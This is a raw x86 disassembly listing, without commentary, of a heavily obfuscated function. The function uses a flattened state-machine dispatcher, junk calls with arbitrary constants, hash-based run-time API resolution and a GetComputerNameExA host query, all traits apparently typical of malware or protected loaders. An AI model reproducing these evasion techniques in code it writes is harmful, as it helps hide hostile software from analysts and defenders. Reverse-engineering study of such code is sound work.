cmp eax, 0xf562b189
je 0x439a01
cmp eax, 0xf59aa411
je 0x439a19
cmp eax, 0xf5ffcb43
jne 0x435830
imul ecx, dword [esi + 8], 0x9826
add ecx, 0x3a34ea
mov dword [esi + 8], ecx
mov eax, 0x64f6c2e5
cmp ecx, 0x96
jae 0x43af23
mov eax, 0x719fe0ff
jmp 0x43af23
cmp eax, 0x7c4f8090
jg 0x4383d4
cmp eax, 0x79322a22
je 0x439a96
cmp eax, 0x7a18dbdd
je 0x439ac7
cmp eax, 0x7b829d7e
jne 0x435830
push eax
mov eax, esp
mov dword [esi + 0x28], eax
sub esp, 8
mov eax, esp
mov dword [esi + 0x2c], eax
push eax
mov eax, esp
mov dword [esi + 0x30], eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x34], eax
sub esp, 0x100
mov eax, esp
mov dword [esi + 0x38], eax
push eax
mov eax, esp
mov dword [esi + 0x18], eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x3c], eax
sub esp, 0x100
mov eax, esp
mov dword [esi + 0x40], eax
mov dword [esi + 4], 0xe2e8a630
jmp 0x435830
cmp eax, 0xa572ca23
jle 0x438415
cmp eax, 0xa572ca24
je 0x439aef
cmp eax, 0xa63b2d64
je 0x439b02
cmp eax, 0xa645f8e4
jne 0x435830
mov dword [esi + 4], 0xc0cd4a34
jmp 0x435830
cmp eax, 0xfb735db9
je 0x439b74
cmp eax, 0xfbae6897
je 0x439b9d
cmp eax, 0xfbe92400
jne 0x435830
mov eax, dword [esi + 0x180]
mov byte [eax], 0
mov dword [esi + 4], 0xd88ce2bb
jmp 0x435830
cmp eax, 0xba621180
je 0x439bc2
cmp eax, 0xba6311c4
je 0x439c0d
cmp eax, 0xbae1f94a
jne 0x435830
mov edi, dword [esi + 8]
shl edi, 5
and edi, 0x7fffe0
mov dword [esi + 8], edi
push 0xdb9
push 0x4ac3
push 0x2b56
push edi
call fcn.0043b2c0
add esp, 0x10
push edi
call fcn.00435818
add esp, 4
mov dword [esi + 4], 0xeb1fd2bb
jmp 0x435830
cmp eax, 0x3325a9b7
je 0x439c40
cmp eax, 0x3354f554
je 0x439c4c
cmp eax, 0x3361bb01
jne 0x435830
push dword [esi + 0x10]
call fcn.00450770
add esp, 4
add eax, dword [esi + 0x10]
mov dword [esi + 0x150], eax
sub esp, 0x10
mov eax, esp
mov dword [esi + 0x8c], eax
mov dword [esi + 4], 0x6c7ffcc
jmp 0x435830
cmp eax, 0x82fc375f
je 0x439c6b
cmp eax, 0x8390bd74
je 0x439c85
cmp eax, 0x83fc6d78
jne 0x435830
mov eax, dword [esi + 0x144]
mov ecx, dword [esi + 0x84]
mov edx, dword [ecx + 0xc]
mov dword [eax + 0xc], edx
mov edx, dword [ecx + 8]
mov dword [eax + 8], edx
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
mov dword [esi + 4], 0x11f24231
jmp 0x435830
cmp eax, 0x1401a1cc
je 0x439c94
cmp eax, 0x150f2f51
je 0x439cb9
cmp eax, 0x154e76aa
jne 0x435830
mov eax, dword [esi + 0xc]
shr eax, 0xa
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x4739
dec edx
shl eax, 0xe
add eax, 0x28c000
mov dword [esi + 0xc], eax
mov eax, 0x1cdc5410
cmp ecx, edx
je 0x43b136
mov eax, 0xd5c46b10
jmp 0x43b136
cmp eax, 0xd9c3e8f0
je 0x439cd9
cmp eax, 0xd9df720d
je 0x439d23
cmp eax, 0xda9cda1e
jne 0x435830
mov ecx, dword [esi + 8]
shr ecx, 0xb
add ecx, 0xffffff88
mov dword [esi + 8], ecx
mov eax, 0xa8ac93ea
cmp ecx, 0x54
jb 0x43af23
mov eax, 0xaf54701f
jmp 0x43af23
cmp eax, 0x54c5384c
je 0x439d71
cmp eax, 0x55e9cc84
je 0x439d9f
cmp eax, 0x5616715c
jne 0x435830
push 1
push 0x8000
call fcn.0044f313
add esp, 8
mov dword [esi + 0x114], eax
mov eax, dword [esi + 0x30]
mov dword [esi + 4], 0x86f9a22e
jmp 0x435830
cmp eax, 0xac4128e7
je 0x439dcd
cmp eax, 0xacd3253b
je 0x439e09
cmp eax, 0xad5b1702
jne 0x435830
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x1b0]
mov dword [eax + 0x10], ecx
mov dword [esi + 4], 0xe910e548
jmp 0x435830
cmp eax, 0x7d607d0
je 0x439e18
cmp eax, 0x7fe3d7a
je 0x439e62
cmp eax, 0x9846d7b
jne 0x435830
imul eax, dword [esi + 0xc], 0xba
shr eax, 0xa
add eax, 0x58
movzx ecx, ax
mov edx, eax
imul edx, eax
imul edi, edx, 0x737d
dec edi
shl ecx, 4
mov dword [esi + 0xc], ecx
mov eax, 0xfbae6897
cmp edx, edi
je 0x43b136
mov eax, 0x3825f49b
jmp 0x43b136
cmp eax, 0xc91f0dc7
je 0x439e7c
cmp eax, 0xcaa99b05
je 0x439ea7
cmp eax, 0xcad77578
jne 0x435830
mov edi, dword [esi + 8]
shl edi, 0xb
add edi, 0xfffb0000
mov eax, edi
shr eax, 1
dec eax
mov dword [esi + 8], eax
call fcn.00407763
call fcn.00407763
mov eax, 0xf1b89798
test edi, edi
je 0x43af23
mov eax, 0xf0558411
jmp 0x43af23
cmp eax, 0x4160e19b
je 0x439edd
cmp eax, 0x41e179c3
je 0x439ee9
cmp eax, 0x425df280
jne 0x435830
mov eax, dword [esi + 0xa0]
movzx ecx, word [0x47413a]
mov word [eax + 8], cx
mov ecx, dword [0x474136]
mov dword [eax + 4], ecx
mov ecx, dword [0x474132]
mov dword [eax], ecx
mov dword [esi + 4], 0x1adb96c9
jmp 0x435830
cmp eax, 0x92472d11
je 0x439f20
cmp eax, 0x93d0aca9
je 0x439f48
cmp eax, 0x9487decb
jne 0x435830
mov eax, dword [esi + 8]
shl eax, 0xc
add eax, 0x1000
shr eax, 7
or eax, 0x70
add eax, 0xffffff3c
mov dword [esi + 8], eax
mov ecx, 0x44c10536
cmp eax, 0x81
jb 0x43b173
mov ecx, 0x427e6b9c
jmp 0x43b173
cmp eax, 0x24f64721
je 0x439f7a
cmp eax, 0x26aae736
je 0x439fc8
cmp eax, 0x26f04997
jne 0x435830
imul edi, dword [esi + 8], 0xdc
add edi, 0x157c
mov dword [esi + 8], edi
push edi
push 0x854
push 0x47b9
call fcn.00425c83
add esp, 0xc
mov eax, 0x1b9c2852
cmp edi, 0x4c
jae 0x43b136
mov eax, 0x7d607d0
jmp 0x43b136
cmp eax, 0xeb070364
je 0x439ff9
cmp eax, 0xeb103755
je 0x43a008
cmp eax, 0xeb1fd2bb
jne 0x435830
mov eax, dword [esi + 0x18]
mov dword [eax], 0x100
push dword [esi + 0x18]
push dword [esi + 0x40]
push 4
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
mov eax, dword [esi + 0x44]
mov dword [esi + 4], 0x154e76aa
jmp 0x435830
cmp eax, 0x6b36a75c
je 0x43a042
cmp eax, 0x6b38afcd
je 0x43a0b7
cmp eax, 0x6b406907
jne 0x435830
mov ebx, dword [esi + 8]
shr ebx, 1
and ebx, 0xffffff80
lea edi, [ebx + 0x3180]
shr edi, 0xb
add edi, 0x4f
mov dword [esi + 8], edi
push edi
push 0x392e
push 0x3b6b
call fcn.00425c83
add esp, 0xc
push 0x7dd
push edi
push 0x2adf
call fcn.00425c83
add esp, 0xc
mov eax, 0xede0b7b1
cmp ebx, 0x21e80
jae 0x43af23
mov eax, 0x24f64721
jmp 0x43af23
cmp eax, 0xa014e768
je 0x43a0e3
cmp eax, 0xa0154fbc
je 0x43a11d
cmp eax, 0xa01a6a88
jne 0x435830
mov dword [esi + 4], 0x2b60bfed
jmp 0x435830
cmp eax, 0x173755c
je 0x43a138
cmp eax, 0x181c18f
je 0x43a152
cmp eax, 0x188fec6
jne 0x435830
push 5
push 0x4741a8
push 0xd
push dword [esi + 0xb0]
call fcn.0043b2c0
add esp, 0x10
mov dword [esi + 4], 0x1896314a
jmp 0x435830
cmp eax, 0xc2428242
je 0x43a181
cmp eax, 0xc3c216ce
je 0x43a19c
cmp eax, 0xc3ec41d0
jne 0x435830
mov edi, dword [esi + 8]
shl edi, 7
and edi, 0x7ffff80
mov dword [esi + 8], edi
push 0x1088
push edi
push 0x1cea
call fcn.00425c83
add esp, 0xc
mov eax, 0x579704
cmp edi, 0x8f
jb 0x43af23
mov eax, 0x3fd5b54
jmp 0x43af23
cmp eax, 0x375c1a1a
je 0x43a1b9
cmp eax, 0x3825f49b
je 0x43a1d9
cmp eax, 0x39083938
jne 0x435830
imul eax, dword [esi + 0xc], 0x6c800
shr eax, 3
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xa1a452a5
jmp 0x435830
cmp eax, 0x87c33b4e
je 0x43a202
cmp eax, 0x896a37df
je 0x43a22a
cmp eax, 0x8a93974e
jne 0x435830
push 4
push 0x47417b
push 0x1b
push dword [esi + 0xa8]
call fcn.0043b2c0
add esp, 0x10
push 0x1c
push dword [esi + 0xa8]
push dword [esi + 0x4c]
call fcn.004441d0
add esp, 0xc
push dword [esi + 0x4c]
push dword [esi + 0x10]
call fcn.00450590
add esp, 8
mov dword [esi + 4], 0xe5545476
jmp 0x435830
cmp eax, 0x1af124cf
je 0x43a26b
cmp eax, 0x1b484b2e
je 0x43a285
cmp eax, 0x1b9c2852
jne 0x435830
mov edi, 0xa
push edi
push dword [esi + 0x108]
push dword [esi + 0x138]
call fcn.0044d8dc
add esp, 0xc
push edi
push dword [esi + 0x10c]
push dword [esi + 0x140]
call fcn.0044d8dc
add esp, 0xc
push 1
push 0x4000
call fcn.0044f313
add esp, 8
mov dword [esi + 0x10], eax
mov dword [esi + 4], 0x84554dd1
jmp 0x435830
cmp eax, 0xe2e8a630
je 0x43a29d
cmp eax, 0xe2f223ef
je 0x43a2bd
cmp eax, 0xe2fec062
jne 0x435830
push dword [esi + 0xc0]
push 0x2f9959e0
call fcn.0043eca4
add esp, 8
mov dword [esi + 0x194], eax
mov dword [esi + 4], 0xed1b63f6
jmp 0x435830
cmp eax, 0x6145a3fc
je 0x43a300
cmp eax, 0x630b484b
je 0x43a31b
cmp eax, 0x6481c9f3
jne 0x435830
mov ecx, dword [esi + 0xc]
mov eax, ecx
shr eax, 0xa
shr ecx, 8
and ecx, 0xffffffe0
imul eax, eax
lea ecx, [ecx + ecx*2]
imul edx, eax, 0x1c9b
dec edx
mov dword [esi + 0xc], ecx
mov ecx, 0x461cce8c
cmp edx, eax
je 0x43b173
mov ecx, 0x94d41fcc
jmp 0x43b173
cmp eax, 0xb1a57c9a
je 0x43a347
cmp eax, 0xb218a53a
je 0x43a39e
cmp eax, 0xb3955f7b
jne 0x435830
mov eax, dword [esi + 0x28]
mov dword [eax], 0x8000
mov dword [esi + 4], 0xbd4ff6ac
jmp 0x435830
cmp eax, 0xe99d364
je 0x43a3bf
cmp eax, 0xf3a760c
je 0x43a3f7
cmp eax, 0xfd4792a
jne 0x435830
mov eax, dword [esi + 0x14]
add eax, 0x28
mov dword [esi + 0x1d4], eax
mov dword [esi + 4], 0x9846d7b
jmp 0x435830
cmp eax, 0xd40c2a9b
je 0x43a442
cmp eax, 0xd426a01b
je 0x43a45c
cmp eax, 0xd562ff25
jne 0x435830
mov eax, dword [esi + 0x38]
mov dword [esi + 4], 0x4d3b7e04
jmp 0x435830
cmp eax, 0x47ca0205
je 0x43a468
cmp eax, 0x486cf2cd
je 0x43a480
cmp eax, 0x4bc4c343
jne 0x435830
mov ebx, dword [esi + 8]
mov eax, 0xfffffef9
add ebx, eax
mov edi, ebx
shr edi, 0xe
mov dword [esi + 8], edi
push edi
push 0x369f
push 0x11b4
push 0x254d
call fcn.0043b2c0
add esp, 0x10
push edi
push 0x398a
push 0x4ace
push 0x26f2
call fcn.0043b2c0
add esp, 0x10
mov eax, 0xf3a760c
cmp ebx, 0x290000
jae 0x43b136
mov eax, 0x1b9c2852
jmp 0x43b136
cmp eax, 0x9a40de10
je 0x43a48c
cmp eax, 0x9c15aef3
je 0x43a4af
cmp eax, 0x9c2167db
jne 0x435830
mov ecx, dword [esi + 8]
shl ecx, 3
and ecx, 0xffff8
mov dword [esi + 8], ecx
mov eax, 0xdcc6f548
cmp ecx, 0xa5
jb 0x43af23
mov eax, 0xc3ec41d0
jmp 0x43af23
cmp eax, 0x2dce13d0
je 0x43a4e2
cmp eax, 0x2e3110c5
je 0x43a506
cmp eax, 0x2e79a0db
jne 0x435830
imul eax, dword [esi + 8], 0x4ba000
add eax, 0xfaa73000
mov dword [esi + 8], eax
push 0x519e
push eax
push 0xc93
jmp 0x439d0f
cmp eax, 0xf4663ab1
je 0x43a515
cmp eax, 0xf47aba48
je 0x43a562
cmp eax, 0xf4d683d7
jne 0x435830
mov edi, dword [esi + 8]
add edi, 0x66
mov eax, edi
shr eax, 9
mov dword [esi + 8], eax
push 0x4b5f
push 0x3113
push 0x23df
push eax
call fcn.0043b1a0
add esp, 0x10
mov eax, 0x425df280
cmp edi, 0xf800
jae 0x43af23
mov eax, 0xba621180
jmp 0x43af23
cmp eax, 0x7590f0fe
je 0x43a58e
cmp eax, 0x782282a6
je 0x43a5be
cmp eax, 0x789b2fa9
jne 0x435830
imul eax, dword [esi + 8], 0xd2000
add eax, 0xffffff62
mov dword [esi + 8], eax
mov dword [esi + 4], 0xe38d4443
jmp 0x435830
cmp eax, 0xa8be00b9
je 0x43a612
cmp eax, 0xa934331e
je 0x43a61e
cmp eax, 0xa953ddc3
jne 0x435830
mov eax, dword [esi + 0xb0]
add eax, 0xd
mov dword [esi + 0x180], eax
mov dword [esi + 4], 0xb92cdf6
jmp 0x435830
cmp eax, 0xfe9cbc93
je 0x43a63d
cmp eax, 0xfee0ed44
je 0x43a64f
cmp eax, 0xff0f7585
jne 0x435830
mov eax, dword [esi + 8]
mov ecx, 0x16d
add eax, ecx
shr eax, 5
imul edi, eax, 0x52
mov dword [esi + 8], edi
push edi
call fcn.00435818
add esp, 4
mov eax, 0xf4663ab1
cmp edi, 0x11
jb 0x43b136
mov eax, 0x6f32ba4
jmp 0x43b136
cmp eax, 0xbd4ff6ac
je 0x43a65e
cmp eax, 0xbde0d5d0
je 0x43a681
cmp eax, 0xbeafbe88
jne 0x435830
imul ecx, dword [esi + 8], 0x62
add ecx, 0xffffcf00
mov eax, ecx
shr eax, 0xf
add eax, 0x47
mov dword [esi + 8], eax
mov eax, 0xc3c216ce
cmp ecx, 0x3a8000
jb 0x43af23
mov eax, 0xeb1fd2bb
jmp 0x43af23
cmp eax, 0x3597512b
je 0x43a6a0
cmp eax, 0x35ce95f3
je 0x43a6b2
cmp eax, 0x366a8f86
jne 0x435830
mov eax, dword [esi + 0xc]
shr eax, 7
and eax, 0x7c000
or eax, 0x31
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xec44c6ee
jmp 0x435830
cmp eax, 0x850da2bb
je 0x43a6ca
cmp eax, 0x863a2336
je 0x43a6e7
cmp eax, 0x86c08b96
jne 0x435830
mov eax, dword [esi + 8]
shr eax, 6
and eax, 0x1ffff
imul edi, eax, 0xe1
shr edi, 0x11
mov dword [esi + 8], edi
push edi
push 0x487c
push 0x262a
push 0x2389
call fcn.0043b2c0
add esp, 0x10
push 0x50d4
push 0x2732
push 0x3263
push edi
jmp 0x439fe5
cmp eax, 0x15fa78a4
je 0x43a744
cmp eax, 0x164f71a1
je 0x43a77f
cmp eax, 0x1896314a
jne 0x435830
imul eax, dword [esi + 0xc], 0x6df24
add eax, 0xfc74f170
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x114320ae
jmp 0x435830
cmp eax, 0xdea971bc
je 0x43a7b6
cmp eax, 0xdff3f166
je 0x43a7f4
cmp eax, 0xe0ce4395
jne 0x435830
mov eax, dword [esi + 0xac]
mov byte [eax + 0x17], 0
mov edi, 0x17
push edi
push 0x474180
push dword [esi + 0xac]
call fcn.004441d0
add esp, 0xc
push 4
push 0x474197
push edi
push dword [esi + 0xac]
call fcn.0043b2c0
add esp, 0x10
push 0x18
push dword [esi + 0xac]
push dword [esi + 0x54]
call fcn.004441d0
add esp, 0xc
mov dword [esi + 4], 0x82fc375f
jmp 0x435830
cmp eax, 0x5966d6ac
je 0x43a825
cmp eax, 0x59e1d201
je 0x43a84c
cmp eax, 0x5ab416d0
jne 0x435830
mov eax, dword [esi + 8]
shr eax, 0xb
and eax, 0xfffffffe
lea edi, [eax + eax*8]
mov dword [esi + 8], edi
push edi
call fcn.00435818
add esp, 4
mov eax, 0xa2b8fef
cmp edi, 0xd
jb 0x43b136
mov eax, 0x31419f4
jmp 0x43b136
cmp eax, 0xaff9186a
je 0x43a86c
cmp eax, 0xb04edff9
je 0x43a891
cmp eax, 0xb0fa851f
jne 0x435830
mov eax, dword [esi + 0x18]
mov dword [eax], 0x100
mov dword [esi + 4], 0xa2289e00
jmp 0x435830
cmp eax, 0xb92cdf6
je 0x43a8bb
cmp eax, 0xc805c99
je 0x43a8f1
cmp eax, 0xcb0fbf0
jne 0x435830
mov eax, dword [esi + 0xc]
add eax, 0x50
shr eax, 2
lea ecx, [eax + 0xfa]
imul ecx, ecx
imul edx, ecx, 0x1869
shl eax, 0xb
add eax, 0x82800
dec edx
mov dword [esi + 0xc], eax
mov eax, 0xeb1fd2bb
cmp ecx, edx
je 0x43b136
mov eax, 0xb14b28f1
jmp 0x43b136
cmp eax, 0xd00f3da3
je 0x43a924
cmp eax, 0xd02223be
je 0x43a960
cmp eax, 0xd05b7f21
jne 0x435830
mov eax, dword [esi + 0x94]
mov word [eax + 0x18], 0
push 0x18
push str.Dww
push dword [esi + 0x94]
call fcn.004441d0
add esp, 0xc
push 8
push 0x468b78
push 0xc
push dword [esi + 0x94]
call fcn.0043b1a0
add esp, 0x10
push dword [esi + 0x94]
push 0xa2f80070
call fcn.0043eca4
add esp, 8
mov dword [esi + 0x158], eax
mov dword [esi + 4], 0x6f4f0b35
jmp 0x435830
cmp eax, 0x4475c09c
je 0x43a9b7
cmp eax, 0x44c10536
je 0x43a9e6
cmp eax, 0x45dda33e
jne 0x435830
imul edi, dword [esi + 8], 0xf6000
mov dword [esi + 8], edi
push 0x5eb6
push 0x493e
push edi
push 0x4836
call fcn.0043b2c0
add esp, 0x10
push 0xaed
push edi
push 0x1c0b
call fcn.00425c83
add esp, 0xc
mov eax, 0x6f32ba4
test edi, edi
je 0x43af23
mov eax, 0xbde0d5d0
jmp 0x43af23
cmp eax, 0x9659fc8b
je 0x43aa71
cmp eax, 0x9858f92c
je 0x43aa94
cmp eax, 0x98fbf505
jne 0x435830
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x1bc]
mov dword [eax + 0x1c], ecx
mov dword [esi + 4], 0x2e8f3ae5
jmp 0x435830
cmp eax, 0x2b60bfed
je 0x43aab7
cmp eax, 0x2b64cc5d
je 0x43aae1
cmp eax, 0x2ba63e6d
jne 0x435830
mov eax, dword [esi + 0x1dc]
mov word [eax], 0xa
mov eax, dword [esi + 0x20]
mov dword [esi + 4], 0x43745cb4
jmp 0x435830
cmp eax, 0xede0b7b1
je 0x43aaed
cmp eax, 0xf0558411
je 0x43ab15
cmp eax, 0xf18aa5e7
jne 0x435830
mov eax, dword [esi + 8]
shr eax, 4
add eax, 0xffffff37
shr eax, 4
and eax, 0xfffff00
or eax, 4
mov dword [esi + 8], eax
mov dword [esi + 4], 0x444b1400
jmp 0x435830
cmp eax, 0x7131b82e
je 0x43ab5a
cmp eax, 0x719fe0ff
je 0x43ab77
cmp eax, 0x73087033
jne 0x435830
imul edi, dword [esi + 8], 0x1fe780
add edi, 0xeecd2f17
mov dword [esi + 8], edi
push edi
call fcn.00435818
add esp, 4
push 0x5621
push 0x5bec
push 0x4193
push edi
call fcn.0043b2c0
add esp, 0x10
mov dword [esi + 4], 0x4bc4c343
jmp 0x435830
cmp eax, 0xa16d3975
je 0x43abdb
cmp eax, 0xa1a452a5
je 0x43abed
cmp eax, 0xa2289e00
jne 0x435830
imul eax, dword [esi + 0xc], 0xfc000
add eax, 0xf7437fb2
shr eax, 0xf
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xa645f8e4
jmp 0x435830
cmp eax, 0x3fd5b54
je 0x43ac5a
cmp eax, 0x455283a
je 0x43ac75
cmp eax, 0x4a38f21
jne 0x435830
mov eax, dword [esi + 8]
shr eax, 0xe
add eax, 0x5d
shr eax, 0xf
jmp 0x439cca
cmp eax, 0xc5e14dae
je 0x43aca2
cmp eax, 0xc612c5ad
je 0x43acae
cmp eax, 0xc7289447
jne 0x435830
push 1
push 0x41
call fcn.0044f313
add esp, 8
mov dword [esi + 0x14], eax
mov dword [esi + 4], 0x1078dc1c
jmp 0x435830
cmp eax, 0x3d690808
je 0x43ace9
cmp eax, 0x3df9b996
je 0x43ad2a
cmp eax, 0x3e76fd7f
jne 0x435830
mov eax, dword [esi + 0x50]
mov eax, dword [esi + 0x4c]
mov dword [esi + 4], 0x3597512b
jmp 0x435830
cmp eax, 0x8da7a2e7
je 0x43ad58
cmp eax, 0x8e6e61a8
je 0x43ad70
cmp eax, 0x8eaab81d
jne 0x435830
mov eax, dword [esi + 0x7c]
mov word [eax + 0x14], 0
push 0x14
push 0x468b10
push dword [esi + 0x7c]
call fcn.004441d0
add esp, 0xc
push 6
push 0x468b24
push 0xa
push dword [esi + 0x7c]
call fcn.0043b1a0
add esp, 0x10
push dword [esi + 0x7c]
push 0x3d95e230
call fcn.0043eca4
add esp, 8
push 0
call eax
mov dword [esi + 0x138], eax
mov dword [esi + 4], 0x164f71a1
jmp 0x435830
cmp eax, 0x1f54ac28
je 0x43ad8a
cmp eax, 0x1f64fb16
je 0x43adc4
cmp eax, 0x1fcf7e4a
jne 0x435830
mov edi, dword [esi + 8]
shl edi, 0x12
mov dword [esi + 8], edi
push 0x10d6
push edi
push 0x4023
push 0x36b1
call fcn.0043b1a0
add esp, 0x10
mov eax, 0xf59aa411
cmp edi, 0x61
jl 0x43af23
mov eax, 0xe0ce4395
jmp 0x43af23
cmp eax, 0xe5545476
je 0x43adef
cmp eax, 0xe57461c3
je 0x43ae1d
cmp eax, 0xe663ea5a
jne 0x435830
mov eax, dword [esi + 0x1e0]
push dword [esi + 0x24]
call eax
mov eax, dword [esi + 0x24]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov dword [esi + 0x128], ecx
mov dword [esi + 0x12c], eax
mov dword [esi + 4], 0x8ecd0d61
jmp 0x435830
cmp eax, 0x673f437d
je 0x43ae38
cmp eax, 0x674fda92
je 0x43ae44
cmp eax, 0x67fbd7ba
jne 0x435830
mov eax, dword [esi + 8]
and eax, 0xfffffffe
shl eax, 0x1a
imul edi, eax, 0x4a
mov dword [esi + 8], edi
push 0x52fb
push 0x2724
push edi
call fcn.00425c83
add esp, 0xc
push 0x3aba
push 0x2b20
push edi
push 0x1ad8
call fcn.0043b1a0
add esp, 0x10
mov eax, 0xe2e8a630
cmp edi, 0x23
jge 0x43af23
mov eax, 0x408dfb0c
jmp 0x43af23
cmp eax, 0xb66cf8ed
je 0x43ae5e
cmp eax, 0xb6a34bc2
je 0x43ae6d
cmp eax, 0xb749251a
jne 0x435830
mov eax, dword [esi + 8]
shl eax, 9
add eax, 0x4600
shr eax, 0xa
add eax, 0x72
mov dword [esi + 8], eax
push eax
push 0x4638
push 0x1114
call fcn.00425c83
add esp, 0xc
mov dword [esi + 4], 0x7a18dbdd
jmp 0x435830
cmp eax, 0x114320ae
je 0x43ae8e
cmp eax, 0x1171bc90
je 0x43aee3
cmp eax, 0x11f24231
jne 0x435830
mov eax, dword [esi + 0xc]
shl eax, 0x1b
or eax, 0xd7f33
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x375c1a1a
jmp 0x435830
cmp eax, 0xd6d9a043
je 0x43af2b
cmp eax, 0xd73ceb27
je 0x43af56
cmp eax, 0xd7b4c8d6
jne 0x435830
imul eax, dword [esi + 0xc], 0x208000
add eax, 0x60df3a
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xc2428242
jmp 0x435830
cmp eax, 0x4fabe3a2
je 0x43af89
cmp eax, 0x508dfb4c
je 0x43afd9
cmp eax, 0x516304b9
jne 0x435830
imul eax, dword [esi + 0xc], 0x15b700
add eax, 0x184e00
shr eax, 0xc
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x80002f72
jmp 0x435830
cmp eax, 0x9cc835ea
je 0x43b00c
cmp eax, 0x9d4ee772
je 0x43b042
cmp eax, 0x9ddfb641
jne 0x435830
mov eax, dword [esi + 0x40]
mov dword [esi + 4], 0xeb1fd2bb
jmp 0x435830
cmp eax, 0x2f07c3be
je 0x43b063
cmp eax, 0x301d9481
je 0x43b091
cmp eax, 0x30e73b45
jne 0x435830
imul edi, dword [esi + 8], 0x136000
or edi, 0xb2
mov dword [esi + 8], edi
push edi
call fcn.00435818
add esp, 4
push edi
push 0x125a
push 0x448d
push 0x51e9
call fcn.0043b1a0
add esp, 0x10
mov dword [esi + 4], 0x64f6c2e5
jmp 0x435830
cmp eax, 0xf7292251
je 0x43b0ab
cmp eax, 0xf7f4c541
je 0x43b0d7
cmp eax, 0xf81480c8
jne 0x435830
mov eax, dword [esi + 8]
shr eax, 0x1d
add eax, 0xffffffd9
mov dword [esi + 8], eax
push 0x3aea
push eax
push 0x18ba
push 0x2ab1
call fcn.0043b1a0
add esp, 0x10
call fcn.00407763
mov dword [esi + 4], 0x8410c221
jmp 0x435830
cmp eax, 0x7c4f8091
je 0x43b0f6
cmp eax, 0x7e22b5d6
je 0x43b11b
cmp eax, 0x7f31619f
jne 0x435830
push dword [esi + 0x10]
call fcn.00450770
add esp, 4
add eax, dword [esi + 0x10]
mov dword [esi + 0x14c], eax
mov dword [esi + 4], 0xba19f14a
jmp 0x435830
cmp eax, 0xa4597235
je 0x43b13e
cmp eax, 0xa520232e
jne 0x43b17b
push dword [esi + 0x18]
push dword [esi + 0x48]
push 4
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
mov eax, dword [esi + 0x4c]
sub esp, 0x1c
mov eax, esp
mov dword [esi + 0xa8], eax
mov eax, dword [esi + 0xa8]
mov byte [eax + 0x1b], 0
mov dword [esi + 4], 0x516304b9
jmp 0x435830
mov eax, dword [esi + 8]
shl eax, 0xa
and eax, 0x3ffc00
imul eax, eax, 0xb8
mov dword [esi + 8], eax
push eax
call fcn.00435818
add esp, 4
mov dword [esi + 4], 0xe38d4443
jmp 0x435830
mov eax, dword [esi + 0x84]
mov byte [eax + 0xf], 0
push 0xf
push 0x4740dc
push dword [esi + 0x84]
call fcn.004441d0
add esp, 0xc
mov dword [esi + 4], 0x6f32ba4
jmp 0x435830
push dword [esi + 0x1ec]
push dword [esi + 0x10]
push dword [esi + 0x78]
push dword [ebp + 8]
call fcn.0041fbc8
add esp, 0x10
mov eax, dword [esi + 0x78]
mov eax, dword [esi + 0x74]
mov eax, dword [esi + 0x70]
mov eax, dword [esi + 0x24]
mov dword [esi + 4], 0xeb103755
jmp 0x435830
mov edi, dword [esi + 8]
shl edi, 7
add edi, 0xffffa400
mov eax, edi
shr eax, 0xd
mov dword [esi + 8], eax
push eax
call fcn.00435818
add esp, 4
mov eax, 0xc7f149d1
cmp edi, 0xd0000
jb 0x43af23
mov eax, 0x2ba63e6d
jmp 0x43af23
mov eax, dword [esi + 0xc]
add eax, 0xffffffe4
imul ecx, eax, 0x330000
imul eax, eax
imul edx, eax, 0x484f
dec edx
mov dword [esi + 0xc], ecx
mov ecx, 0x9a40de10
cmp edx, eax
je 0x43b173
mov ecx, 0xa953ddc3
jmp 0x43b173
mov eax, dword [esi + 0xc]
shl eax, 0x10
lea eax, [eax + eax*8]
shr eax, 3
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x8bd3325c
jmp 0x435830
push 0x1b
push 0x474160
push dword [esi + 0xa8]
call fcn.004441d0
add esp, 0xc
mov dword [esi + 4], 0x8a93974e
jmp 0x435830
imul eax, dword [esi + 0xc], 0xb0
add eax, 0xfffffffe
shr eax, 1
add eax, 0x97
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xa7949b7e
jmp 0x435830
mov dword [esi + 4], 0xad5b1702
jmp 0x435830
push 0xa
push dword [esi + 0x124]
push dword [esi + 0x1e4]
call fcn.0044d8dc
add esp, 0xc
mov eax, dword [esi + 0x70]
mov dword [esi + 4], 0x6481c9f3
jmp 0x435830
mov edi, dword [esi + 8]
shl edi, 0xa
mov dword [esi + 8], edi
push 0x52e4
push 0x4a55
push 0x5809
push edi
call fcn.0043b1a0
add esp, 0x10
mov eax, 0x83fc6d78
test edi, edi
je 0x43af23
mov eax, 0x425df280
jmp 0x43af23
mov eax, dword [esi + 0xb0]
mov cl, byte [0x4741a7]
mov byte [eax + 0xc], cl
mov ecx, dword [0x4741a3]
mov dword [eax + 8], ecx
mov ecx, dword [str.R13_]
mov dword [eax + 4], ecx
mov ecx, dword [0x47419b]
mov dword [eax], ecx
mov dword [esi + 4], 0x301d9481
jmp 0x435830
mov eax, dword [esi + 8]
lea edi, [eax*8 - 0x1f0000]
shr edi, 0xc
and edi, 0xfffffffe
add edi, 0xffffffcf
mov dword [esi + 8], edi
push edi
push 0x8b5
push 0x1282
call fcn.00425c83
add esp, 0xc
mov eax, 0x455283a
cmp edi, 0x5f
jae 0x43af23
mov eax, 0xab04b21d
jmp 0x43af23
imul eax, dword [esi + 0xc], 0x54800
add eax, 0xffffcc82
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x8eaab81d
jmp 0x435830
push dword [esi + 0x10]
call fcn.00450770
add esp, 4
add eax, dword [esi + 0x10]
mov dword [esi + 0x154], eax
mov dword [esi + 4], 0xbde0d5d0
jmp 0x435830
